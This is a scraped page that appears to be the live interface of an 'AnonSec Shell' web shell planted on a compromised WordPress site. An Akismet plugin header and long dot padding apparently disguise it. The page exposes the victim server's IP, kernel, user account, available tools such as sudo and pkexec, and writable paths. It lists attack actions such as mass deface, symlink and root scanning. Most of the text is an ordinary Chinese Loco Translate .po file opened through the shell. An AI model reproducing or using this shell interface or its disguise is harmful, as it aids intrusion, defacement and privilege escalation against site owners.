#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/loco-translate-zh_TW.po
# Translation of Plugins - Loco Translate - Stable (latest release) in Chinese (Taiwan)
# This file is distributed under the same license as the Plugins - Loco Translate - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-01-25 20:07:42+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: zh_TW\n"
"Project-Id-Version: Plugins - Loco Translate - Stable (latest release)\n"

#: tpl/admin/config/apis.php:146
msgid "Configured externally"
msgstr "已於外部完成設定"

#: src/js/Strings.php:17 tpl/admin/config/apis.php:146
msgid "No API key"
msgstr "沒有 API 金鑰"

#. translators: %s will be replaced with a PO file name
#: src/admin/init/InitPoController.php:385
msgid "Copy %s instead"
msgstr "請改為複製 %s"

#: tpl/admin/init/init-copy.php:18
msgid "You can copy an existing PO file (recommended), or extract directly from source (advanced)"
msgstr "建議複製現有的 PO 譯文檔,或直接從原始程式碼擷取 (後者較為進階)"

#: src/admin/init/InitPoController.php:396
msgid "You're creating translations from a POT file"
msgstr "目前正在從 POT 譯文範本檔建立譯文"

#: src/admin/init/InitPoController.php:237
msgid "Copy PO file"
msgstr "複製 PO 譯文檔"

#: src/admin/DebugController.php:929
msgid "String debugger"
msgstr "字串偵錯工具"

#: src/admin/config/BaseController.php:22
msgid "System"
msgstr "系統"

#: src/admin/bundle/ViewController.php:152
msgid "Custom translations may not work without System translations installed"
msgstr "如果沒有安裝系統譯文,自訂譯文可能無法正確執行"

#: tpl/admin/help/side-bar.php:6
msgid "Useful links:"
msgstr "實用連結:"

#: tpl/admin/bundle/setup.php:27
msgid "Current configuration as XML"
msgstr "目前的組態檔 (XML 格式)"

#: tpl/admin/bundle/inc-po-table.php:19
msgid "Strings"
msgstr "原文數量"

#. translators: Author credit: (1) Product name (2) version number, (3) author
#. name.
#: src/package/Header.php:89
msgid "\"%1$s\" %2$s by %3$s"
msgstr "%1$s %2$s 版的開發者為 %3$s"

#: src/js/Strings.php:57
msgid "Check the translations marked with a warning sign"
msgstr "檢查標記含有警告訊息標誌的譯文"

#. translators: %s refers to a non-zero amount of errors detected. xgettext:
#. javascript-format
#: src/js/Strings.php:54
msgid "%s possible error detected"
msgid_plural "%s possible errors detected"
msgstr[0] "偵測到 %s 項可能的錯誤。"

#. translators: Result of validation when all strings pass validation
#: src/js/Strings.php:50
msgid "No formatting errors detected"
msgstr "沒有偵測到格式錯誤。"

#. Translators: Button that validates current translation formatting
#: src/admin/file/EditController.php:224
msgctxt "Editor"
msgid "Check"
msgstr "檢查"

#. translators: %u is a number of files which were successfully deleted
#: src/admin/file/DeleteController.php:59
msgid "%u file deleted"
msgid_plural "%u files deleted"
msgstr[0] "%u 個檔案已刪除。"

#: src/admin/bundle/SetupController.php:253
msgid "This bundle doesn't declare a domain path. Add one via the Advanced tab if needed"
msgstr "這個套件組合沒有宣告 Domain Path。如有需要,請在 [進階組態] 分頁中進行設定。"

#: src/admin/bundle/SetupController.php:250
msgid "The default \"languages\" domain path has been detected"
msgstr "偵測到 Domain Path 的預設值 languages。"

#. Translators: %s will be replaced with a relative path like "/languages"
#: src/admin/bundle/SetupController.php:245
msgid "The domain path is declared by the author as \"%s\""
msgstr "開發者宣告 Domain Path 標頭的值為 %s。"

#: src/admin/bundle/SetupController.php:239
msgid "This bundle does't declare a text domain; try configuring it in the Advanced tab"
msgstr "這個套件組合沒有宣告 Text Domain。如有需要,請在 [進階組態] 分頁中進行設定。"

#: src/admin/bundle/SetupController.php:235
msgid "This text domain is not in Loco Translate's bundle configuration"
msgstr "這個套件組合的組態尚未內建於 Loco Translate 中"

#. Translators: This warning is shown when a text domain has defaulted to same
#. as the folder name (or slug)
#: src/admin/bundle/SetupController.php:229
msgid "This plugin doesn't declare a text domain. It's assumed to be the same as the slug, but this could be wrong"
msgstr "這個外掛沒有宣告 Text Domain。預設會假設與外掛代稱相同,但可能會產生錯誤狀況。"

#. Translators: %s will be replaced with a text domain, e.g. "loco-translate"
#: src/admin/bundle/SetupController.php:222
msgid "WordPress says the primary text domain is \"%s\""
msgstr "WordPress 判定 Text Domain 標頭的主要值為 %s。"

#. Translators: Shown when a PO file's Plural-Forms header has a different
#. formula from the Unicode CLDR rules
#: src/Locale.php:500
msgid "Plural forms differ from Loco Translate's built in rules for this language"
msgstr "目前設定的複數型與 Loco Translate 針對這個語言的內建規則不同。"

#: src/js/Strings.php:197
msgid "Mismatching placeholder type; check against source text formatting"
msgstr "不相符的預留文字類型: 檢查原文格式"

#: src/js/Strings.php:186
msgid "Possible syntax error in string formatting"
msgstr "字串格式可能發生語法錯誤"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:194
msgid "Missing placeholders; source text formatting suggests at least %s"
msgstr "缺少預留文字: 原文格式化建議至少 %s 個"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:190
msgid "Too many placeholders; source text formatting suggests a maximum of %s"
msgstr "太多預留文字: 原文格式化建議最多 %s 個"

#: tpl/admin/file/head.php:10
msgid "Edit file headers"
msgstr "編輯檔案標頭"

#: tpl/admin/file/conf.php:23
msgid "Relative path to template file"
msgstr "範本檔案相對路徑"

#: tpl/admin/file/conf.php:57 tpl/admin/file/head.php:34
msgid "Save"
msgstr "儲存"

#: tpl/admin/file/conf.php:48 tpl/admin/init/init-po.php:149
msgid "Merge strings from related JSON files"
msgstr "合併相關 JSON 檔案中的字串"

#. translators: Summary of translations copied from a PO file during Sync
#. xgettext: javascript-format
#: src/js/Strings.php:40
msgid "%s translation copied"
msgid_plural "%s translations copied"
msgstr[0] "%s 筆譯文已複製"

#: src/admin/config/ApisController.php:76
msgid "API URL"
msgstr "API 網址"

#. translators: Where %s is any number of strings
#. translators: Shows total string count at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:191 src/js/Strings.php:109
msgid "%s string"
msgid_plural "%s strings"
msgstr[0] "總計 %s 筆原文內容"

#. translators: %s is the quantity of files which were successfully moved
#: src/admin/file/MoveController.php:87
msgid "%s file moved"
msgid_plural "%s files moved"
msgstr[0] "%s 個檔案已移動"

#: tpl/admin/file/info-pot.php:31
msgid "%s word"
msgid_plural "%s words"
msgstr[0] "%s 個字"

#: src/gettext/Compiler.php:280
msgid "PO file saved and MO/JSON files compiled"
msgstr "PO 譯文檔已儲存且已編譯為 MO/JSON 檔"

#. translators: %s refers to a JSON file which could not be compiled due to an
#. error
#: src/gettext/Compiler.php:148 src/gettext/Compiler.php:213
msgid "JSON compilation failed for %s"
msgstr "無法編譯 %s 的 JSON 檔"

#: tpl/admin/config/version.php:74
msgid "Update Now"
msgstr "立即更新"

#. translators: Where %s is the full version number of WordPress
#: tpl/admin/config/version.php:68
msgid "WordPress %s"
msgstr "WordPress %s"

#. translators: (1) Name of software, e.g. "WordPress" (2) Version number, e.g.
#. "5.6"
#: tpl/admin/config/version.php:53 tpl/admin/config/version.php:71
msgid "Your version of %1$s is out of date. We recommend you upgrade to at least v%2$s, but preferably to the latest stable version."
msgstr "這個網站的 %1$s 版本太過老舊。建議至少更新至 %2$s,但最好更新至最新穩定版本。"

#. translators: Where %s is the full version number of PHP
#: tpl/admin/config/version.php:49
msgid "PHP %s"
msgstr "PHP %s"

#: tpl/admin/config/settings.php:162
msgid "Delete redundant files"
msgstr "刪除多餘檔案"

#: tpl/admin/config/settings.php:156
msgid "Pretty formatting"
msgstr "美化格式"

#: tpl/admin/config/settings.php:145 tpl/admin/config/settings.php:151
msgid "Compiling JSON files"
msgstr "編譯 JSON 檔"

#: tpl/admin/init/upload.php:50
msgid "Your file must be named as shown above where %1$s is the language code, e.g. %2$s"
msgstr "上傳檔案的檔名格式必須依照上方所示,%1$s 代表語言代碼,例如 %2$s。"

#: tpl/admin/init/upload.php:45
msgid "Upload PO file"
msgstr "上傳 PO 譯文檔"

#. translators: Indicates that POT files are optional, which is not recommended
#: tpl/admin/config/settings.php:107
msgid "Sync with source when template missing"
msgstr "缺少譯文範本時與原始程式碼同步"

#: tpl/admin/config/settings.php:99
msgid "Fuzzy matching tolerance"
msgstr "模糊翻譯譯文相符容錯率"

#: tpl/admin/config/settings.php:89 tpl/admin/config/settings.php:95
msgid "Syncing PO files"
msgstr "同步 PO 譯文檔"

#: tpl/admin/help/side-bar.php:15
msgid "Info and tutorials"
msgstr "線上說明及使用教學"

#: src/ajax/ApisController.php:30
msgid "Need a human?"
msgstr "進行人工翻譯"

#: src/ajax/UploadController.php:70
msgid "Your file is identical to the existing one"
msgstr "上傳的檔案與現有的檔案完全相同"

#: src/admin/init/UploadController.php:52
msgid "Upload a translation file"
msgstr "上傳譯文檔案"

#: src/admin/init/UploadController.php:29 tpl/admin/init/upload.php:58
msgid "Upload"
msgstr "上傳"

#: src/admin/bundle/ViewController.php:107
msgid "Upload PO"
msgstr "上傳 PO 譯文檔"

#. Translators: %s will be replaced with the name of a missing POT file
#: src/ajax/SyncController.php:55
msgid "Falling back to source extraction because %s is missing"
msgstr "由於找不到 %s,因此回復為原先的原文內容擷取字串。"

#: tpl/admin/bundle/inc-po-table.php:63
msgid "Move"
msgstr "移動"

#: tpl/admin/config/prefs.php:29 tpl/admin/config/prefs.php:33
msgid "Restrict locales"
msgstr "限制地區語言"

#. Translators: Button that opens window for auto-translating
#: src/admin/file/EditController.php:222
msgctxt "Editor"
msgid "Auto"
msgstr "自動翻譯"

#: src/js/Strings.php:171
msgctxt "Editor"
msgid "Suggest translation"
msgstr "建議譯文"

#: src/js/Strings.php:168
msgctxt "Editor"
msgid "Toggle Fuzzy"
msgstr "切換模糊翻譯"

#: src/js/Strings.php:102
msgid "Keep this translation"
msgstr "保留這個譯文"

#: src/js/Strings.php:99
msgid "Loading suggestions"
msgstr "正在載入建議譯文"

#: src/js/Strings.php:90
msgid "Suggested translations"
msgstr "建議譯文"

#: src/js/Strings.php:87
msgid "Use this translation"
msgstr "使用這個譯文"

#: src/js/Strings.php:84
msgid "Nothing needed updating"
msgstr "沒有需要更新的項目"

#. translators: %s is the quantity of strings modified during a batch process
#. xgettext: javascript-format
#: src/js/Strings.php:81
msgid "%s string updated"
msgid_plural "%s strings updated"
msgstr[0] "%s 筆原文字串已更新"

#. translators: 1: Number of strings; 2: Service provider; e.g. "50 strings
#. translated via Google Translate" xgettext: javascript-format
#: src/js/Strings.php:77
msgid "%1$s string translated via %2$s"
msgid_plural "%1$s strings translated via %2$s"
msgstr[0] "%1$s 筆原文字串已完成本地化 (使用 %2$s)"

#. translators: %s is the quantity of strings left unprocessed after a job was
#. stopped prematurely xgettext: javascript-format
#: src/js/Strings.php:73
msgid "Translation job aborted with %s string remaining"
msgid_plural "Translation job aborted with %s strings remaining"
msgstr[0] "本地化工作已中止,剩餘 %s 筆原文內容"

#. translators: %s%% is a percentage, e.g. 50% xgettext: javascript-format
#: src/js/Strings.php:69
msgid "Translation progress %s%%"
msgstr "本地化進度 %s%%"

#. translators: characters meaning individual unicode characters of source text
#. xgettext: javascript-format
#: src/js/Strings.php:65
msgid "%s characters will be sent for translation."
msgstr "這項操作會送出 %s 個原文內容字元以進行翻譯。"

#. translators: %s: the number of strings to be sent for translation xgettext:
#. javascript-format
#: src/js/Strings.php:61
msgid "%s unique source strings."
msgstr "%s 筆唯一原文內容。"

#. translators: Message appears after sync operation, where %s refers to a POT
#. file. xgettext: javascript-format
#: src/js/Strings.php:44
msgid "Strings up to date with %s"
msgstr "原文內容與 %s 的同步作業已完成。"

#. translators: Summary of existing translations where the source text has
#. changed slightly xgettext: javascript-format
#: src/js/Strings.php:36
msgid "%s string marked Fuzzy"
msgid_plural "%s strings marked Fuzzy"
msgstr[0] "%s 筆原文內容的譯文已標記為模糊翻譯譯文"

#: tpl/admin/config/apis.php:160
msgid "See full disclaimer"
msgstr "檢視完整免責聲明"

#: tpl/admin/config/apis.php:159
msgid "Third party services are subject to their own terms of use and may incur costs from the provider"
msgstr "第三方服務受其服務條款規範,使用服務所產生的費用依服務提供商公告為準。"

#: tpl/admin/config/apis.php:157
msgid "Important"
msgstr "重要資訊"

#: src/admin/config/ApisController.php:77
msgid "API region"
msgstr "API 地區"

#: src/admin/config/ApisController.php:75
msgid "API key"
msgstr "API 金鑰"

#: src/admin/config/ApisController.php:12
#: src/admin/config/BaseController.php:20
#: src/admin/config/BaseController.php:40 tpl/admin/help/tab-config-apis.php:2
msgid "API keys"
msgstr "API 金鑰"

#: tpl/ajax/modal-apis-empty.php:11
msgid "Add automatic translation services in the plugin settings."
msgstr "在外掛設定中新增自動翻譯服務。"

#: tpl/ajax/modal-apis-empty.php:9
msgid "No translation APIs configured"
msgstr "尚未設定翻譯 API"

#: tpl/ajax/modal-apis-batch.php:29
msgid "Mark new translations as Fuzzy"
msgstr "將新譯文標記為模糊翻譯譯文"

#: tpl/ajax/modal-apis-batch.php:23
msgid "Overwrite existing translations"
msgstr "覆寫現有譯文"

#: tpl/ajax/modal-apis-batch.php:10
msgid "Auto-translate this file"
msgstr "自動翻譯這個檔案"

#: src/admin/file/EditController.php:181
msgid "This is NOT a translation file. Manual editing of source strings is not recommended."
msgstr "這不是譯文檔案。不建議手動編輯原文內容。"

#: src/fs/FileWriter.php:324
msgid "Modification of POT (template) files is disallowed by the plugin settings"
msgstr "外掛設定不允許對 POT 譯文範本檔進行修改"

#: tpl/admin/file/move-pot.php:14
msgid "Enter a new location for this file"
msgstr "輸入這個檔案的新位置"

#: tpl/admin/file/move.php:17
msgid "The following file will be moved/renamed to the new location:"
msgid_plural "The following files will be moved/renamed to the new location:"
msgstr[0] "以下檔案將會移動/重新命名至新位置:"

#: tpl/admin/file/move.php:14
msgid "Confirm relocation"
msgstr "確定重新指派位置"

#: tpl/admin/file/move-po.php:14
msgid "Choose a new location for these translations"
msgstr "選取這些譯文的新位置"

#: tpl/admin/bundle/alias.php:14
msgid "This plugin doesn't have its own translation files, but can be translated in the default text domain"
msgstr "這個外掛沒有自己的譯文檔案,但可以使用預設 Text Domain 進行本地化"

#: tpl/admin/config/settings.php:197
msgid "Editing of POT (template) files"
msgstr "編輯 POT 譯文範本檔"

#: tpl/admin/config/settings.php:81
msgid "Recommended"
msgstr "建議使用"

#: tpl/admin/config/settings.php:81
msgid "Enable Ajax file uploads"
msgstr "啟用 AJAX 檔案上傳"

#: src/fs/FileWriter.php:249
msgid "Parent directory isn't writable"
msgstr "上層目錄無法寫入。"

#: src/ajax/FsConnectController.php:160
msgid "This move operation requires permission"
msgstr "這項檔案移動操作需要足夠的權限才能進行。"

#: src/ajax/FsConnectController.php:127
msgid "This directory is managed by WordPress. Removed files may be restored during updates"
msgstr "這個目錄由 WordPress 管理,這個目錄中的檔案遭到移除後,或許會在更新後還原。"

#. translators: Page title where %s is the name of a file to be moved
#: src/admin/file/MoveController.php:111 src/admin/file/MoveController.php:140
msgid "Move %s"
msgstr "移動 %s"

#. translators: %s is the quantity of files which failed to be moved
#: src/admin/file/MoveController.php:92
msgid "%s file could not be moved"
msgid_plural "%s files could not be moved"
msgstr[0] "%s 個檔案無法移動"

#: src/admin/file/BaseController.php:121
msgid "Relocate"
msgstr "語言套件位置變更"

#: tpl/admin/file/move.php:24
msgid "Move files"
msgstr "移動檔案"

#: tpl/admin/errors/file-sec.php:14
msgid "Access to this file is blocked for security reasons"
msgstr "基於安全性考量,系統封鎖了對這個檔案的存取"

#: tpl/admin/errors/file-sec.php:11
msgid "File access disallowed"
msgstr "禁止的檔案存取"

#: src/admin/bundle/ViewController.php:116
msgid "View template"
msgstr "檢視譯文範本"

#: tpl/admin/config/version.php:18 tpl/admin/config/version.php:75
msgid "Install manually"
msgstr "手動安裝"

#: tpl/admin/config/version.php:14
msgid "A newer version of Loco Translate is available for download"
msgstr "已有更新版本的 Loco Translate 可供下載"

#: tpl/admin/help/side-bar.php:9
msgid "Official plugin page"
msgstr "官方外掛頁面"

#: tpl/admin/common/inc-fsconn.php:28
msgid "File is protected by the bundle configuration"
msgstr "檔案由套件組合的組態進行保護"

#: tpl/admin/common/inc-fsconn.php:27
msgid "Read only"
msgstr "唯讀"

#: tpl/admin/config/settings.php:43
msgid "Scan JavaScript files with extensions:"
msgstr "掃描指定副檔名的 JavaScript 檔案:"

#: src/admin/init/InitPoController.php:293
msgid "Assign template"
msgstr "指派譯文範本"

#: src/js/Strings.php:165
msgctxt "Editor"
msgid "Translated"
msgstr "已翻譯"

#: src/js/Strings.php:162
msgctxt "Editor"
msgid "Untranslated"
msgstr "尚未翻譯"

#. translators: %s will be replaced with a URL which may change without
#. affecting the translation.
#: src/hooks/AdminHooks.php:92
msgid "Administrators and auditors may wish to review Loco's <a href=\"%s\">plugin privacy notice</a>."
msgstr "網站管理員及稽核人員或許想要檢閱 Loco Translate 的〈<a href=\"%s\" target=\"_blank\">外掛隱私權聲明</a>〉。"

#: src/hooks/AdminHooks.php:89
msgid "This plugin doesn't collect any data from public website visitors."
msgstr "這個外掛不會收集任何來自公開網站訪客的資料。"

#: tpl/admin/bundle/inc-po-table.php:54 tpl/admin/bundle/locale.php:66
msgid "View"
msgstr "檢視"

#. translators: %s will be replaced with the full name of the user profile's
#. admin language
#: tpl/admin/root.php:17
msgid "Your admin language is %s."
msgstr "目前登入身分的管理後台的介面語言設定為「%s」。"

#. translators: %s will be replaced with the full name of the site language
#: tpl/admin/root.php:14
msgid "The language of this site is %s."
msgstr "這個網站的介面語言設定為「%s」。"

#: tpl/admin/list/locales.php:25
msgid "Site language"
msgstr "網站介面語言"

#: tpl/admin/list/locales.php:22
msgid "Files found"
msgstr "已找到的檔案數量"

#: tpl/admin/list/locales.php:16
msgid "Locale code"
msgstr "地區語言代碼"

#: tpl/admin/list/locales.php:13
msgid "Locale name"
msgstr "地區語言名稱"

#: tpl/admin/file/info.php:110
msgid "Files in this location can be modified or deleted by WordPress automatic updates"
msgstr "儲存在這個位置的檔案可由 WordPress 自動更新機制修改或刪除"

#: tpl/admin/file/info.php:107
msgid "WordPress updates"
msgstr "WordPress 更新"

#: tpl/admin/file/info-mo.php:18 tpl/admin/file/info-po.php:24
#: tpl/admin/file/info-pot.php:21
msgid "File size"
msgstr "檔案大小"

#: tpl/admin/file/diff.php:17
msgctxt "Button label for a next revision"
msgid "Next"
msgstr "下一版"

#: tpl/admin/file/diff.php:14
msgctxt "Button label for a previous revision"
msgid "Previous"
msgstr "上一版"

#: tpl/admin/file/diff.php:6
msgctxt "revision date short format"
msgid "j M @ H:i"
msgstr "n 月 j 日a g:i"

#: tpl/admin/errors/no-locale.php:11
msgid "No files found for this language"
msgstr "找不到這個語言的檔案"

#: tpl/admin/errors/no-backups.php:18
msgid "File backups are disabled in your plugin settings"
msgstr "目前的外掛設定停用了檔案備份功能"

#: tpl/admin/errors/no-backups.php:16
msgid "Backup files will be written when you save translations from Loco Translate editor"
msgstr "在 Loco Translate 編輯器中儲存譯文後,便會變更備份檔"

#: tpl/admin/errors/no-backups.php:12
msgid "No previous file revisions"
msgstr "沒有檔案的上一版內容修訂"

#: src/admin/config/SettingsController.php:68
msgid "Disallow"
msgstr "禁止"

#: src/admin/config/SettingsController.php:67
msgid "Allow (with warning)"
msgstr "允許 (含警告訊息)"

#: src/admin/config/SettingsController.php:66
msgid "Allow"
msgstr "允許"

#: tpl/admin/config/settings.php:187
msgid "Modification of installed files"
msgstr "修改已安裝的檔案"

#: tpl/admin/config/settings.php:181
msgid "Save credentials in session"
msgstr "在工作階段中儲存憑證"

#: tpl/admin/config/settings.php:170 tpl/admin/config/settings.php:176
msgid "File system access"
msgstr "檔案系統存取"

#: tpl/admin/common/inc-fsconn.php:56
msgid "Click \"Connect\" to authenticate with the server"
msgstr "按一下 [連線] 以便與伺服器進行驗證"

#. translators: Page title for installed languages page
#: src/mvc/AdminRouter.php:61
msgid "Languages &lsaquo; Loco"
msgstr "語言 &lsaquo; Loco"

#: src/mvc/AdminRouter.php:59
msgid "Languages"
msgstr "語言"

#: src/fs/FileWriter.php:313
msgid "Modification of installed files is disallowed by the plugin settings"
msgstr "外掛設定不允許對已安裝的檔案進行修改"

#. translators: Where %s is a file name
#: src/ajax/DiffController.php:47
msgid "Revisions are identical, you can delete %s"
msgstr "內容修訂相同,可以刪除 %s"

#. translators: Where %s is the name of the invalid POT file
#: src/admin/file/EditController.php:138 src/ajax/SyncController.php:72
msgid "Translation template is invalid (%s)"
msgstr "無效的譯文範本檔 %s"

#. translators: %s is a file name to be rolled back to a previous version.
#. translators: Page title where %s refers to a file name
#: src/admin/file/DiffController.php:59 src/admin/file/DiffController.php:78
msgid "Restore %s"
msgstr "還原 %s"

#: src/admin/file/DiffController.php:35
msgid "File restored"
msgstr "檔案已還原。"

#: src/admin/file/BaseController.php:120 tpl/admin/file/diff.php:31
msgid "Restore"
msgstr "還原"

#: src/admin/bundle/LocaleController.php:145
msgid "See all core translations"
msgstr "檢視全部 WordPress 核心程式的譯文"

#: src/admin/bundle/LocaleController.php:138
#: src/admin/file/EditController.php:132 src/admin/file/EditController.php:183
#: tpl/admin/common/inc-fsconn.php:16 tpl/admin/common/inc-fsconn.php:41
#: tpl/admin/config/apis.php:167 tpl/admin/config/prefs.php:45
#: tpl/admin/config/settings.php:234 tpl/admin/errors/no-backups.php:22
msgid "Documentation"
msgstr "線上說明"

#: src/admin/bundle/LocaleController.php:137
msgid "No core translation files are installed for this language"
msgstr "這個語言並未安裝 WordPress 核心程式的語言套件"

#: src/ajax/FsConnectController.php:130
msgid "Changes to this file may be overwritten or deleted when you update WordPress"
msgstr "更新 WordPress 後,有可能會覆寫或刪除這個檔案中的變更。"

#: src/ajax/FsConnectController.php:124
msgid "This directory is managed by WordPress, be careful what you delete"
msgstr "這個目錄由 WordPress 核心程式所管理,刪除時請務必留意"

#: src/ajax/FsConnectController.php:121
msgid "This file may be overwritten or deleted when you update WordPress"
msgstr "更新 WordPress 後,有可能會覆寫或刪除這個檔案。"

#: src/ajax/FsConnectController.php:163
msgid "Saving this file requires permission"
msgstr "儲存這個檔案所需的權限"

#: src/ajax/FsConnectController.php:157
msgid "Deleting this file requires permission"
msgstr "刪除這個檔案所需的權限"

#: src/ajax/FsConnectController.php:154
msgid "Creating this file requires permission"
msgstr "建立這個檔案所需的權限"

#. Translators: Plural category for zero quantity
#: src/Locale.php:383
msgctxt "Plural category"
msgid "Zero"
msgstr "零 (Zero)"

#: src/admin/init/InitPoController.php:377 tpl/admin/file/info.php:113
msgid "What's this?"
msgstr "這是什麼?"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:18
msgid "largest is %s"
msgstr "PO 譯文檔最多使用 %s"

#: tpl/admin/config/settings.php:68
msgid "Maximum line length (zero disables wrapping)"
msgstr "每行最大字元數 (填 0 代表停用自動換行功能)"

#. Translators: (1) Number of files (2) Maximum size of file that will be
#. included (3) Size of the largest encountered
#: src/ajax/SyncController.php:99
msgid "%1$s file has been skipped because it's %3$s. (Max is %2$s). Check all strings are present before saving."
msgid_plural "%1$s files over %2$s have been skipped. (Largest is %3$s). Check all strings are present before saving."
msgstr[0] "已略過 %1$s 個大小超過 %2$s 的檔案 (上限為 %3$s)。儲存前請檢查是否已擷取出全部原文內容。"

#: src/admin/bundle/ConfController.php:92
msgid "Child theme declares the same Text Domain as the parent theme"
msgstr "子佈景主題宣告的 Text Domain 必須與上層佈景主題相同。"

#. Translators: General plural category not covered by other forms
#: src/Locale.php:393
msgctxt "Plural category"
msgid "Other"
msgstr "其他型態 (Other)"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:391
msgctxt "Plural category"
msgid "Many"
msgstr "眾數型 (Many)"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:389
msgctxt "Plural category"
msgid "Few"
msgstr "微數型 (Few)"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:387
msgctxt "Plural category"
msgid "Two"
msgstr "複數型 (Two)"

#. Translators: Plural category for singular quantity
#: src/Locale.php:385
msgctxt "Plural category"
msgid "One"
msgstr "單數型 (One)"

#: tpl/admin/config/version.php:28
msgid "You're running a development snapshot of Loco Translate"
msgstr "目前執行的是 Loco Translate 開發版。"

#. Author URI of the plugin
#: loco.php
msgid "https://localise.biz/wordpress/plugin"
msgstr "https://localise.biz/wordpress/plugin"

#. Description of the plugin
#: loco.php
msgid "Translate themes and plugins directly in WordPress"
msgstr "這個外掛可在 WordPress 後台中直接為外掛及佈景主題進行本地化。"

#: src/admin/bundle/LocaleController.php:155 tpl/admin/root.php:58
msgid "See all plugins"
msgstr "檢視全部外掛"

#: tpl/admin/root.php:54
msgid "These plugins have recently loaded translation files into the admin area"
msgstr "以下是最近將譯文檔案載入至管理區的外掛"

#: tpl/admin/root.php:51
msgid "Running plugins:"
msgstr "執行中的外掛:"

#: src/admin/bundle/LocaleController.php:150 tpl/admin/root.php:43
msgid "See all themes"
msgstr "檢視全部佈景主題"

#: tpl/admin/root.php:39
msgid "Active theme:"
msgstr "目前使用的佈景主題:"

#: tpl/admin/root.php:30
msgid "Translations have been recently modified in the following bundles"
msgstr "以下是最近修改過譯文的套件組合"

#: tpl/admin/root.php:27
msgid "Recently updated:"
msgstr "最後更新時間:"

#: src/admin/RootController.php:84
msgid "Welcome to Loco Translate"
msgstr "歡迎使用 Loco Translate"

